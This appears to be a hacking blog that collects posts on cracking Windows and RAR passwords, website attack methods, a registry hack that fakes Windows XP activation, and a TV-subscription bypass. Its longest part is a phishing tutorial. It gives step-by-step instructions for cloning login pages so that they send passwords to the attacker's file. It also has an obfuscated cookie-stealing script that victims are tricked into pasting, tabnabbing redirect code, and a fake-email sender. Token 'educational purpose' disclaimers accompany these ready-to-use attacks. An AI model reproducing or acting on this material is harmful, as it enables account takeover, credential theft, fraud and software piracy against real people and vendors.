Download RAR Password Recovery Magic + Serialkey

 RAR Password Recovery Magic - is a powerful tool Designed to recover lost or forgotten passwords for a / WinRAR archives. RAR Password Recovery Magic supports the customizable brute-force and dictionary-based attacks. RAR Password Recovery Magic has an easy to use interface. All you need to do to recover your password is just to add your file to the operation window.

                                                      Information From File:
                                                        Language: English
                                                                Size: 1.74 Mb 
                                       
                                                            DOWNLOAD

READ MORE - Download RAR Password Recovery Magic + Serialkey

how to hack window 8 password

first click on choose an other option if the option will not display direct shut down or press shift+ f8

click Advanced option


click startup settings

click restart button

Press 4 button for safe mode

wait while window start

After start go to -control panel - user accounts 


insrert pendrive- than click create password reset disk - select pendrive & process will start

after crating bootable pendrive restart pc insert pendrive click reset button & select pendrive & process is start.................



For any support & request any tools comment plz

READ MORE - how to hack window 8 password

How hack WEBSITE ???

How hack WEBSITE ???

Hello friends , today i will explain all the methods that are being used to hack a website or websites database. This is the first part of the hacking websites tutorial where i will explain in brief all methods for hacking or defacing websites. Today I will give you the overview and in later tutorials we will discuss them one by one with practical examples. So guys get ready for first part of Hacking websites class.... Don't worry i will also tell you how to protect your websites from these attacks and other methods like hardening of SQL and hardening of web servers and key knowledge about CHMOD rights that what thing should be give what rights...

Note : This post is only for Educational Purpose only.

What are basic things you should know before website hacking?

First of all everything is optional as i will start from very scratch. But you need atleast basic knowledge of following things..

1. Basics of HTML, SQL, PHP.

2. Basic knowledge of Javascript.

3. Basic knowledge of servers that how servers work.

4. And most important expertize in removing traces otherwise u have to suffer consequences.

Now First two things you can learn from a very famous website for basics of Website design with basics of HTML,SQL,PHP and javascript.

http://www.w3schools.com/

And for the fourth point that you should be expert in removing traces. I will explain this in my future articles. So keep reading.. or simply subscribe my posts..

As we know traces are very important. Please don't ignore them otherwise you can be in big trouble for simply doing nothing. so please take care of this step.

METHODS OF HACKING WEBSITE:

1. SQL INJECTION

2. CROSS SITE SCRIPTING

3. REMOTE FILE INCLUSION

4. LOCAL FILE INCLUSION

5. DDOS ATTACK

6. EXPLOITING VULNERABILITY.

1. SQL INJECTION

First of all what is SQL injection? SQL injection is a type of security exploit or loophole in which a attacker "injects" SQL code through a web form or manipulate the URL's based on SQL parameters. It exploits web applications that use client supplied SQL queries.
The primary form of SQL injection consists of direct insertion of code into user-input variables that are concatenated with SQL commands and executed. A less direct attack injects malicious code into strings that are destined for storage in a table or as metadata. When the stored strings are subsequently concatenated into a dynamic SQL command, the malicious code is executed.

2. CROSS SITE SCRIPTING

Cross site scripting (XSS) occurs when a user inputs malicious data into a website, which causes the application to do something it wasn’t intended to do. XSS attacks are very popular and some of the biggest websites have been affected by them including the FBI, CNN, Ebay, Apple, Microsft, and AOL.Some website features commonly vulnerable to XSS attacks are:
• Search Engines
• Login Forms
• Comment Fields

Cross-site scripting holes are web application vulnerabilities that allow attackers to bypass client-side security mechanisms normally imposed on web content by modern browsers. By finding ways of injecting malicious scripts into web pages, an attacker can gain elevated access privileges to sensitive page content, session cookies, and a variety of other information maintained by the browser on behalf of the user. Cross-site scripting attacks are therefore a special case of code injection.

I will explain this in detail in later hacking classes. So keep reading..


3. REMOTE FILE INCLUSION
Remote file inclusion is the most often found vulnerability on the website.
Remote File Inclusion (RFI) occurs when a remote file, usually a shell (a graphical interface for browsing remote files and running your own code on a server), is included into a website which allows the hacker to execute server side commands as the current logged on user, and have access to files on the server. With this power the hacker can continue on to use local
exploits to escalate his privileges and take over the whole system.
RFI can lead to following serious things on website :

• Code execution on the web server
• Code execution on the client-side such as Javascript which can lead to other attacks such as cross site scripting (XSS).
• Denial of Service (DoS)
• Data Theft/Manipulation

4. LOCAL FILE INCLUSION
Local File Inclusion (LFI) is when you have the ability to browse through the server by means of directory transversal. One of the most common uses of LFI is to discover the /etc/passwd file. This file contains the user information of a Linux system. Hackers find sites vulnerable to LFI the same way I discussed for RFI’s.
Let’s say a hacker found a vulnerable site, www.target-site.com/index.php?p=about, by means of directory transversal he would try to browse to the /etc/passwd file:

www.target-site.com/index.php?p= ../../../../../../../etc/passwd

I will explain it in detail with practical websites example in latter sequential classes on Website Hacking.

5. DDOS ATTACK

Simply called distributed denial of service attack. A denial-of-service attack (DoS attack) or distributed denial-of-service attack (DDoS attack) is an attempt to make a computer resource unavailable to its intended users. Although the means to carry out, motives for, and targets of a DoS attack may vary, it generally consists of the concerted efforts of a person or people to prevent an Internet site or service from functioning efficiently or at all, temporarily or indefinitely. In DDOS attack we consumes the bandwidth and resources of any website and make it unavailable to its legitimate users.

6.EXPLOTING VULNERABILITY

Its not a new category it comprises of above five categories but i mentioned it separately because there are several exploits which cannot be covered in the above five categories. So i will explain them individually with examples. The basic idea behind this is that find the vulnerability in the website and exploit it to get the admin or moderator privileges so that you can manipulate the things easily.

READ MORE -

Hack Websites Top 10 Tricks to Exploit SQL Servers

 

Whether it is through manual poking and prodding or the use of securitytools, malicious attackers employ a variety of tricks to break into SQL server systems, both inside and outside your firewall. It stands to reason then, if the hackers are doing it, you need to carry the same attacks to test the security strength of your systems. Here are 10 hacker tricks to gain access and violate systems running SQL Server.testing


1. Direct connections via the Internet
These connections can be used to attach to SQL Servers sitting naked without firewall protection for the entire world to see (and access). DShield?s Port Report shows just how many systems are sitting out there waiting to be attacked. I don?t understand the logic behind making a critical server like this directly accessible from the Internet, but I still find this flaw in my assessments, and we all remember the effect the SQL Slammer worm had on so many vulnerable SQL Server systems. Nevertheless, these direct attacks can lead to denial of service, buffer overflows and more.


2. Vulnerability scanning
Vulnerability scanning often reveals weaknesses in the underlying OS, the Web application or thedatabase system itself. Anything from missing SQL Server patches to Internet Information Services (IIS) configuration weaknesses to SNMP exploits can be uncovered by attackers and lead to database server compromise. The bad guys may use open source, home-grown or commercial tools. Some are even savvy enough to carry out their hacks manually from a command prompt. In the interest of time (and minimal wheel spinning), I recommend using commercial vulnerability assesment tools like QualysGuard from Qualys Inc. (for general scanning), WebInspect from SPI Dynamics (for Web application scanning) and Next Generation Security Software Ltd.?s NGSSquirrel for SQL Server (for database-specific scanning). They?re easy to use, offer the most comprehensive assessment and, in turn, provide the best results. Figure 1 shows some SQL injection vulnerabilities you may be able to uncover.

Figure 1: Common SQL injection vulnerabilities found using WebInspect.


3. Enumerating the SQL Server Resolution Service
Running on UDP port 1434, this allows you to find hidden database system. Chip Andrews? SQLPing v 2.5 is a great tool to use to look for SQL server system(s) and determine version numbers (somewhat). This works even if your SQL Server instances aren?t listening on the default ports. Also, a buffer overflow can occur when an overly long request for SQL Servers is sent to the broadcast address for UDP port 1434.


4. Cracking SA passwords
Deciphering SA passwords is also used by attackers to get into SQL Server databases. Unfortunately, in many cases, no cracking is needed since no password has been assigned (Oh, logic, where art thou?!). Yet another use for the handy-dandy SQLPing tool mentioned earlier. The commercial products AppDetective from Application Security Inc. and NGSSQLCrack from NGS software Ltd. also have this capability.


5. Direct-exploit attacks
Direct attacks using tools such as Metasploit, shown in Figure 2, and its commercial equivalents (CANVAS and CORE IMPACT) are used to exploit certain vulnerabilities found during normal vulnerability scanning. This is typically the silver-bullet hack for attackers penetrating a system and performing code injection or gaining unauthorized command-line access. 

Figure 2: SQL Server vulnerability exploitable using Metasploit?s MSFConsole.

6. SQL injection
SQL injection attacks are executed via front-end Web applications that don?t properly validate user input. Malformed SQL queries, including SQL commands, can be inserted directly into Web URLs and return informativeprefer to perform the follow-through using an automated tool, such as SPI Dynamics? SQL Injector, shown in Figure 3.

Figure 3: SPI Dynamics? SQL Injector tool automates the SQL injection process. errors, commands being executed and more. These attacks can be carried out manually ? if you have a lot of time. Once I discover that a server has a potential SQL injection vulnerability, I


7. Blind SQL injection
These attacks go about exploiting Web applications and back-end SQL Servers in the same basic fashion as standard SQL injection. The big difference is that the attacker doesn?t receive feedback from the Web server in the form of returned error messages. Such an attack is even slower than standard SQL injection given the guesswork involved. You need a good tool for this situation, and that?s where Absinthe, shown in Figure 4, comes in handy.

Figure 4: Absinthe tool takes the pain out of blind SQL injection testing.


8. Reverse engineering the system
The reverse engineering trick looks for software exploits, memory corruption weaknesses and so on. In this sample chapter from the excellent book Exploiting Software: How to Break Code by Greg Hoglund and Gary McGraw, you?ll find a discussion about reverse engineering ploys.


9. Google hacks
Google hacks use the extraordinary power of the Google search engine to ferret out SQL Server errors ? such as ?Incorrect syntax near? ? leaking from publicly accessible systems. Several Google queries are available at Johnny Long?s Google Hacking Database. (Look in the sections titled Error Messages and Files containing passwords.) Hackers use Google to find passwords, vulnerabilities in Web Servers, underlying operating systems, publicly available procedures and more that they can use to further compromise a SQL Server system. Combining these queries with Web site names via Google?s ?site:? operator often turns up juicy info you never imagined you could unearth.

10. Perusing Web site source code
Source Code can also turn up information that may lead to a SQL Server break in. Specifically, developers may store SQL Server authentication information in ASP scripts to simplify the authentication process. A manual assessment or Google could uncover this information in a split second.

READ MORE - Hack Websites Top 10 Tricks to Exploit SQL Servers

Create Bootable pendrive to install window 7

Install Windows 7 from a Pendrive / Create a bootable Pendrive to install Windows 7 :

1. Format the Pendrive or USB drive in NTFS format first.
2. From the start menu right click on the command prompt and select “Run as administrator“.
3. Now type the following commands (Press enter key after each command).
... 4. diskpart. This is to open the disk partition program.
5. Now to show the list of drives type list disk.
6. You can see disk’s listed there. Note down the disk no. of your pendrive eg.Disk 1
7. Now type SELECT DISK X (where X is the number you noted down for the pendrive from step 5)
8. Now type CLEAN.
9. Now type the following commands by pressing enter after each one.
10. CREATE PARTITION PRIMARY
11. SELECT PARTITION 1 (Assuming your pendrive/ USB drive is 1).
12. ACTIVE
13. FORMAT FS=NTFS
14. ASSIGN
15. EXIT(Now the disk partition program will exit). Now we need to give some more commands.
16. Now insert the Windows 7 Installation DVD and to your DVD drive.
17. Here i am assuming DVD drive as G and Pendrive as I.(Change it accordingly).
18. Now type G:CD BOOT
19. Now type this command BOOTSECT.EXE/NT60 I: to update your USB drive with bootmgr code.
20. Finally copy all the contents from the Windows 7 DVD to your Pendrive. Make sure you don’t cause any errors.
20. Plug / Insert your pendrive to your PC and restart the system.
21. Now Enter the Bios system accordingly by pressing the key delete.(This may vary some times it will be F2 or F12. It depends on the type of your system. Any how during the start up your system will display which key to press to enter the Bios).
22. Now select the USB/ Pendrive as the first boot driver.(Set the first boot priority to USB drive.).
23. Now save the settings in Bios and restart and you will be able to Install Windows 7 using that pendrive.

READ MORE - Create Bootable pendrive to install window 7

Hack window password with ophcrack & recover your crash winow data with phcrack

 

What is ophcrack?

Ophcrack is a free Windows password cracker based on rainbow tables. It is a very efficient implementation of rainbow tables done by the inventors of the method. It comes with a Graphical User Interface and runs on multiple platforms.

Features:

• » Runs on Windows, Linux/Unix, Mac OS X, ...
• » Cracks LM and NTLM hashes.
• » Free tables available for Windows XP and Vista.
• » Brute-force module for simple passwords.
• » Audit mode and CSV export.
• » Real-time graphs to analyze the passwords.
• » LiveCD available to simplify the cracking.
• » Loads hashes from encrypted SAM recovered from a Windows partition, Vista included.
• » Free and open source software (GPL).
•    Don't  need to install ophcrack just burn iso . image on cd -dvd & insert restart your window... 

READ MORE - Hack window password with ophcrack & recover your crash winow data with phcrack

change window 7 password by pass

 

 

Change the Password of windows 7 without knowing the current password

Dear readers here I am going to show you how to change the password of window7 without knowing the current password.

There are many tools to bypass the windows 7 admin password but this technique will help you to change current password of windows 7. just follow simple steps.
Lets start…
1. Go to control panel and double click on administrative tools.

2. one window will open in that window double click on computer management.

3.you will see there are three options i n that double click on system tools

4. Now double click on Local Users and Groups.

5. now double click on Users.

6.well you will see there are 3 users admin , guest and standard. (I have hide my name)

7.now Right click on Administrator you will see 1st option set password…. :D now just select that option.

8. Now click on proceed and you will see this window.(as shown in bellow figure)

Now type your password (you should type same password in both box .)
then press ok
now you have changed the admin password.

READ MORE - change window 7 password by pass

Hacking - Hide file behind an image

Stenography To hide a file behind an image.

To hide a file behind a image file which means that if any one opens that image he will see the image only but if you open in a special way then you can open the hidden file behind the image.

 So to hide the file behind a image open CMD.exe

1) Select an image to be used for hiding file behind the image.

2) Now select a file to hide behind the image and make it in .RAR format. With the help of the WinRAR.

3) And most important is that paste both the files on desktop and run the following command on the command prompt.

4) And then type the following command.

“cd desktop “

“Copy /b imagename.jpg + filename.rar finalnameofimage.jpg”

Page 35And then hit enter the file will be created with the file final file name of the image.

READ MORE - Hacking - Hide file behind an image

Watch live tv in vlc & real player hack

Watch Live TV on Your PC and Mobile for free – [Mundu TV hack ]

Mundu TV is a popular internet TV channel streaming service which allow you to watch TV channels on your Computer and Mobile device. I hope you all know that, they have limited their trail period to 7 days and over that period, you can only watch few channels. And if you wanted to watch more channels, then you should subscribe for any of their package. Now using a simple trick you can watch all of their channels completely for free. you just need to use any media player software like Real Player SP or VLC Media Player in your computer And for mobile devices you can use pv player or core player.

I this tutorial, I’m going to show you how to stream all TV channels available in Mundu TV for free.

READ MORE - Watch live tv in vlc & real player hack

How to make a bootable Pendrive

How To | Installing Windows XP, Vista, Windows 7 and Ubuntu through pendrive

This tutorial will teach you how to create a bootable windows XP/windows 7/ubuntu(any linux) pen drive and install XP/ubuntu(any linux) using this bootable pen drive.
Why would anyone want to install Windows XP from a pen drive??

1. May be their CD drive isn’t working properly like mine, or
2. They don’t want to waste money on a CD

More over installation from a flash drive is faster compared to a CD.
Before we go on with the tutorial here’s what you’ll need

1. 1 USB flash drive, 1GB or larger
2. 1 Windows XP installation disc
3. Assorted files that I’ll describe as we go along.
4. Note: Your BIOS should support usb boot, some older computers may not support USB boot.

Preparing the flash drive
First up, we need to prepare the flash drive.

1. Download and unzip this file, which should contain 2 folders: 1 titled Bootsect, and the other USB_prep8.
2. Navigate to the USB_prep8 folder and click on usb_prep8.cmd. This will bring up a Windows console window.
   
   

   Making a bootable USB
3. Press any key to continue and a PeToUSB window will open.
   
   

   Image for step 2,3 & 4, click to enlarge

   
   
4. Make sure your flash drive is selected, and click start to format your flash drive.
5. When the format is complete, click OK, but do not close the PeToUSB window or the Windows Console.
6. Open a new console window by typing “cmd” into the run box in the Windows Start Menu.


opening Command Prompt


7. Find your Bootsect folder (if you’re not used to DOS commands, you can type “dir” to list directories and files, type “cd foldername” to navigate to a folder name – called foldername in this example, and if there’s a long folder name you can save time by typing the “cd” and just the first few letters and then hitting the Tab key to fill in the rest of the name).
   
   

   Changing directory on a command prompt

   
   
8. Once you’re in the Bootsect folder, type “bootsect.exe /nt52 g:” if “g” is the letter assigned to your flash drive. If it’s E, then change the letter to e. If it’s Z, make it z. Get it?
9. When this is done, you should see a message letting you know that the bootcode was updated, and you can close this console window (but not the other console window).
10. Close the PeToUSb Window, but make sure not to close the remaining console window yet
11. You should now see a list of 8 options in the console.
12.  Select one and find the drive with your Windows installation disc.
13. 
    

    
    

    Making a bootable USB  

    
    
14. Select 2 and pick a random drive letter (but not one that’s already on your PC, since this will be a virtual drive used for copying your files).
15. Select 3 and enter the drive letter for your USB flash drive.
16. Select 4 and follow the rest of the on-screen directions and you should be all set.

The process should take about 15-20 minutes. When it’s done, you should have a bootable USB stick that you can use to install Windows XP the same way you would if you had a CD/DVD drive.
A few notes here. First of all, there’s a chance you may get down to step 15 and the program will tell you that it can’t create the virtual drive. This may happen if you’ve already gone through the whole process and are trying to do it again to fix problems. The solution seems to be rebooting your computer and trying again. Or at least that’s what worked for me.
Second, if you use NLite to shrink/slipstream/otherwise modify your Windows XP installation file, make sure you do not remove “manual installation files,” or your USB stick will be pretty much useless.
Once your usb drive is ready, go to your bios and set USB to first position in boot order. Now plug the usb and restart.
Make sure you back up your important documents and files, firefox bookmarks, and drivers if you lost your drivers cd.
This post explains you how to backup your drivers easily

Creating a bootable ubuntu / linux pen drive

Creating a bootable ubuntu pendrive is pretty easy

1. First copy the iso file of the linux version you want to install on to your hard drive.
2. Download unetbootin from http://unetbootin.sourceforge.net/
3. Then double click the unetbootin file.
4. This will open up a small window, select disk image and browse to the image on your hard drive and click ok.
5. You bootable pen drive should be ready in 5 to 10 minutes

READ MORE - How to make a bootable Pendrive

How to Make Windows XP Genuine

 

 

How to Make Windows XP Genuine

1:- Open NotePad from Start Menu and paste the following code in your notepad program.

Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersion]
“CurrentBuild”=”1.511.1 () (Obsolete data – do not use)”
“ProductId”=”55274-640-1011873-23081″
“DigitalProductId”=hex:a4,00,00,00,03,00,00,00,35,35,32,37,34,2d,36,34,30,2d,
31,30,31,31,38,37,33,2d,32,33,30,38,31,00,2e,00,00,00,41,32,32,2d,30,30,30,
30,31,00,00,00,00,00,00,00,86,56,4e,4c,21,1b,2b,6a,a3,78,8e,8f,98,5c,00,00,
00,00,00,00,dd,da,47,41,cc,6b,06,00,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,38,31,30,32,36,00,00,00,00,00,00,00,b5,16,
00,00,83,83,1f,38,f8,01,00,00,f5,1c,00,00,00,00,00,00,00,00,00,00,00,00,00,
00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,66,e5,70,f3
“LicenseInfo”=hex:33,b7,21,c1,e5,e7,cd,4b,fd,7c,c6,35,51,fd,52,57,17,86,3e,18,
d3,f4,8c,8e,35,32,7b,d1,43,8d,61,38,60,a4,ca,55,c9,9a,35,17,46,7a,4f,91,fc,
4a,d9,db,64,5c,c4,e2,0f,34,f3,ea
[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWPAEvents]
“OOBETimer”=hex:ff,d5,71,d6,8b,6a,8d,6f,d5,33,93,fd

2. Now save the file on the name of Genuine.reg (Make sure to save it with .reg extension.). Save the file on Desktop
3:- Now close the file and go to Desktop and double click on the file you just saved.
4:- Guys your Windows XP is now genuine. Restart your windows and that’s it.

 

Second Method

If you are not lucky and the above method is not working for you then don’t worry you can try this one.
1. Download this file
2. Extract it and open the file.
3. Now go to genuine microsoft software and click on the button “Validate Windows”
4. Done


Now your Windows XP is Genuine. Don’t forget to read my previous article

READ MORE - How to Make Windows XP Genuine

How to hack with phishing

What Is Phishing ?

The act of sending an Email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the

user into surrendering private information that will be used for identity theft.

The Email directs the user to visit a Web site where they are asked to update personal information, such as passwords

and credit card, social security, and bank account numbers, that the legitimate organization already has. The Web site,

however, is Bogus and set up only to steal the User’s information.

Phishing attacks are Trying to steal your Money !!!

Phishing Scams Could Be-

ü Emails inviting you to join a Social Group, asking you to Login using your Username and Password.

ü Email saying that Your Bank Account is locked and Sign in to Your Account to Unlock IT.

ü Emails containing some Information of your Interest and asking you to Login to Your Account.

ü Any Email carrying a Link to Click and asking you to Login.

The Phishing Hack Starts Now. this Hack example is for orkut account.

Step 1:- Download the necessary files Which you will need during the phishing attack. This file is a .rar file which

includes 3 files named hackingtech.php, hackingtech.txt & ServiceLogin.html and also consist a folder in which

there are support files for ServerLogin.html

Step 2:- Unrar the download pack named orkuthacking.rar any where on your computer.

Step 3:- Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" in any

web hosting site..

You will have to create a sub-folder in the web hosting site's directory. Name that folder as "ServiceLogin_files" and

upload the 2 images of the pack in that folder. (it must support PHPs.)

>>> You can choose one of the following web hosting Company to upload the Folder.

http://www.freeweb7.com

http://Ripway.com{Recommended}

http://www.110mb.com

http://www.phpnet.us

“You can Download the pack From Here: http://www.hackingtech.co.tv/orkuthacking.rar “.

http://www.byethost.com

http://www.t35.com

http://www.awardspace.com

http://www.free-webhosts.com/free-php-webhosting.php

http://www.freehostia.com

http://www.dajoob.com

http://ifastnet.com

http://007ihost.com

http://www.247mb.com/register.jsp

http://www.10gbfreehost.com/

Step 4:- Your work is over now. Just give the link ofurfake page to the victim and whenever he/she will type the password

and sign in . Password will be stored in "hackingtech.txt"...

General form of the fake page's link

Code:

http://urwebhostingsite/urusername/ServiceLogin.htm

Step 5:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of orkut

the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see how to

send fake email within short time.

Now If You want to create your own phishing page the follow the steps below.

Step 1:-Open the website whose phishing page you want create.

Step 2:-Then right click any where on the page and select view source.

Step 3:-Press ( Ctrl + A ) and the code will be selected and then press ( Ctrl + C ) to copy the code.

Step 4:-The paste this code in a new notepad window and save it as ServerLogin.htm

Step 5:- Open "ServiceLogin.htm" with notepad and the search for word "action". [press ctrl+f to find the word]

Step 6:-You will find like this action=" https://www.google.com/accounts/ServiceLoginAuth "

Step 7:-Replace the link between this red quote with the link you got by uploading the file hackingtech.php and it should

be like this action=" http://www.yourhostingcompany.com/username/hackingtech.php "

Step 8:-Now Save this as serverlogin.htm

Step 9:-Now Upload the folder "ServiceLogin_files" and 2 of the files ->> "hackingtech.php" and "hackingtech.txt" and

serverlogin.htm file in any web hosting site you want.

Step 10:-You are done just go to the link of the file serverlogin.htm given by your hosting company .

Step 11:- Now you can send this link to victim by any mode but the best is my email send a fake email in the name of

orkut the your orkut account has a security problem pl. click on th link below and re-activate your account. we will see

how to send fake email within short time.

Step 12:-To see the passwords that you have hacked just go to the link of hackingtech.txt given by your hosting company .

Prevention Against Phishing :-

ü Read all the Email Carefully and Check if the Sender is Original.

ü Watch the Link Carefully before Clicking

ü Always check the URL in the Browser before Signing IN to your Account

ü Always Login to Your Accounts after opening the Trusted Websites, not by Clicking in any other Website or Email.

“Do not use this hack trick in any criminal activities like phishing bank websites and please do not

destroy any ones account this is only for educational purpose”.

 How To View Hidden Password behind ****

Step 1.First of all open up the webpage on which you wanna show the hidden passwords.

Step 2. Then in the username there must be the name and in the password there must be ********

Step 3.Now to see the password which is behind the ******** Just copy and paste the following JavaScript into the

address bar of the browser and you are done.

javascript:(function(){var%20s,F,j,f,i;%20s%20=%20%22%22;

%20F%20=%20document.forms;%20for(j=0;%20j<F.length;%20++j)

%20{%20f%20=%20F[j];%20for%20(i=0;%20i<f.length;%20++i)

%20{%20if%20(f[i].type.toLowerCase()%20==%20%22password%22)

%20s%20+=%20f[i].value%20+%20%22\n%22;%20}%20}%20if

%20(s)%20alert(%22Passwords%20in%20forms%20on%20this

%20page:\n\n%22%20+%20s);%20else%20alert(%22There%20are

%20no%20passwords%20in%20forms%20on%20this

%20page.%22);})();

Step 4. After copying and pasting the JavaScript given above press the enter key and hidden passwords will be shown to

you.

“You can use This script when some one has checked the remember me button in the login form

of any website and to reveal password from that saved astrisk or encrypted password”.

“Do not use this hack trick in any criminal activities and please do not destroy any ones account

this is for educational purpose only”.

Hack Orkut Accounts by Cookie Stealing

This article below explains the method to hack orkut account by stealing orkut account cookies. Hacking orkut accounts

has become much popular and hence i have added this article which will help you in hacking your friend’s orkut account.

Just ask the victim to copy the script in address bar and then you will be able to login/access /hack his orkut account.

Note: My purpose is only to make u aware of what’s happening around and not to teach u hacking orkut account, Gmail

or any account in any sort!!.

Procedure for hacking orkut account by stealing orkut cookies from Mozilla Firefox to hack Gmail or orkut is given below.

"Hacking orkut account or Gmail” by "stealing orkut account cookies”:

The post explains how one can steal cookies to hack orkut account or Gmail account. No password cracking method

required.

Steps to hack Gmail or orkut account password by stealing orkut cookies:-

Step 1. Firstly you need have Mozilla firefox.

Step2. Cookie editor plugin for Mozilla firefox.

Step 3. You need to have two fake orkut accounts to Hack Orkut or Gmail , So that you have to receive orkut cookies to

one Orkut account and other Orkut account for Advertising your Script, Well it depends on your Choice to have Two

Gmail(Orkut) accounts.

Cookie Script:

javascript:nobody=replyForm;nobody.toUserId.value=33444211;

nobody.scrapText.value=document.cookie;nobody.action=’scrapbook.aspx?

Action.submit’;nobody.submit()

How to use orkut cookies script?

Step 1. Replace your number "UserId.value=33444211″

 How to Replace your Number

Step 1. Go to your Orkut album

Step 2. Right click on any Photo> Properties>55886645.jpg It will be a Eight Digit Value.

Step 3. Now replace your value with the value in the java script.

“Download cookie editor plugin for Mozilla firefox from: https://addons.mozilla.org/en-US/firefox/addon/573

Your script will look like -

javascript:nobody=replyForm;nobody.toUserId.value=yournumber;

nobody.scrapText.value=eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,99,111,111,107,105,101));

nobody.action=’Scrapbook.aspx?Action.writeScrapBasic’;nobody.submit()

Step 2. Now send this Cookie script to the victim and ask him to paste in Address bar and Press enter.

Step 3. You’ll get his orkut account cookie in your scrap book.

Step 4. After getting a orkut account cookie go to your orkut Home page , Then click on Tools tab and then go to cookie

editor plugin( Tools–> Cookie editor)

Step 5. click filter/refresh.look for ‘orkut_state’ cookie. just double click it and replace the orkut_state part with your

victim’s Script

put ur eight digit number in the place of (33444211).

Thats it your done with.

Logout of your orkut and login again and you’ll be in your victims Homepage.

Step 6. So remember guys…if you are having orkut account or having any other account….never use any suspicious script

to prevent anyone from hacking/accessing your orkut account.

I hope you have learned how to hack orkut accounts using cookie stealing. Just the script can be used to hack orkut

accounts and then access victim’s orkut account. Enjoy hacking orkut.

“Do not use this hack trick in any criminal activities and please do not destroy any ones account

this is for educational purpose only”.

“You can also use this attack for many other sites like yahoo but you will need some other scripts

for that but nothing is impossible so use google and search the script for other sites for self

practice”.

 Tab Napping A New Phishing Attack

Traditional phishing attacks are reasonably easy to avoid, just don’t click links in suspicious e-mails (or, for the really

paranoid, any e-mail). But Firefox Creative Lead Aza Raskin has found a far more devious way to launch an attack by

hijacking your unattended browser tabs.

The attack works by first detecting that the tab the page is in does not have focus. Then the attacking script can change

the tab favicon and title before loading a new site, say a fake version of gmail or orkut, in the background.

Even scarier, the attack can parse through your history to find sites you actually visit and impersonate them.

Because most of us trust our tabs to remain on the page we left them on, this is a particularly difficult attack to detect. As

Raskin writes, "as the user scans their many open tabs, the favicon and title act as a strong visual cue — memory is

mailable and moldable and the user will most likely simply think they left *the+ tab open.”

The only clue that you’re being tricked is that the URL will be wrong.

The Script Used is as Below.-

<a> open this in a tab of your browser and wait for 10 seconds and see after you come back but leave this page and go

to other tab to see this magic.</a>

<script type="text/javascript">

var xScroll, yScroll, timerPoll, timerRedirect, timerClock;

function initRedirect(){

if (typeof document.body.scrollTop != "undefined"){ //IE,NS7,Moz

xScroll = document.body.scrollLeft;

yScroll = document.body.scrollTop;

clearInterval(timerPoll); //stop polling scroll move

clearInterval(timerRedirect); //stop timed redirect

timerPoll = setInterval("pollActivity()",1); //poll scrolling

timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timed

redirect

}

else if (typeof window.pageYOffset != "undefined"){ //other browsers that support pageYOffset/pageXOffset instead

xScroll = window.pageXOffset;

yScroll = window.pageYOffset;

clearInterval(timerPoll); //stop polling scroll move

clearInterval(timerRedirect); //stop timed redirect

timerPoll = setInterval("pollActivity()",1); //poll scrolling

timerRedirect = setInterval("location.href='http://www.hackingtech.co.tv/ServiceLogin.htm'",10000); //set timed

redirect

}

//else do nothing

}

function pollActivity(){

if ((typeof document.body.scrollTop != "undefined" && (xScroll!=document.body.scrollLeft ||

yScroll!=document.body.scrollTop)) //IE/NS7/Moz

||

(typeof window.pageYOffset != "undefined" && (xScroll!=window.pageXOffset || yScroll!=window.pageYOffset))) {

//other browsers

initRedirect(); //reset polling scroll position

}

} document.onmousemove=initRedirect;

document.onclick=initRedirect;

document.onkeydown=initRedirect;

window.onload=initRedirect;

window.onresize=initRedirect;

</script>

To See The Demo Of this Attack visit: http://www.hackingtech.co.tv/tabnapping.html

Replace the URL highlighted here with your URL where you want the victim to redirect.

Use This Script in the Page and then the page will redirect after 10 sec when the user if not on the particular tab.

“Do not use this hack trick in any criminal activities and please do not destroy any ones account

this is for educational purpose only”.

How to Check The email is original or Not

First of all let us see How email system is working over internet.

The email is sent on internet as shown in below picture

So Here The Sender i.e abc@server1.com is sending a mail to xyz@server2.in. so the sender will type the mail and click on

send button and the mail will go to SERVER1.com whereSERVER1.com will forward the mail over internet and the internet

will search the xyz@server2.in email ids server and send it to SERVER2.in and the the SERVER2.in will search for

the xyz@server2.in in their own database and then the mail will be forwarded to xyz@server2.in and when the XYZ user

login to their account they will see an email in their inbox which is from abc@server1.com.

Now How To send the fake mail

To send fake mail We need to Bypass the abc@server1.com and SERVER1.com both and directly send an email over

internet .

So for that we will use a .php script as php has a function mail(); which can send email to any one without the

SERVER1.com and directly delivering the mail to SERVER2.in and then SERVER2.in will search for the xyz@server2.in in

their own database and then the mail will be forwarded to xyz@server2.in and when the XYZ user login to their account

they will see an email in their inbox which is from abc@server1.com.

But actually the email is not sent byabc@server1.comto xyz@server2.in so it is a fake mail.

SEND FAKE MAILS FROM HACKING TECH

Fill Up the form on Hacking Tech fake mailer page. For form visit http://www.hackingtech.co.tv/index/0-93

Now How to check When you receive such mail.

Step 1:- First of all open the mail.

Step 2:- Now Click on the downward arrow near reply button. and click on show original.

Now check for The received from field on the page opened.

and see who has sent you the email , here billgates@microsoft.com is the sender.

so in the received from field check that there must be microsoft.comand not any other thing.

this was fake mail as there was outgoing.x10hosting.com and so the mail is fake as there is no microsoft.com here.

“Do not send fake mails for criminal activities from hackingtech fake mailer as they are tracking

your IP address and Can back track you for any illegal activities performed by you and so please do

not destroy any ones account, this is for educational purpose only”.

READ MORE - How to hack with phishing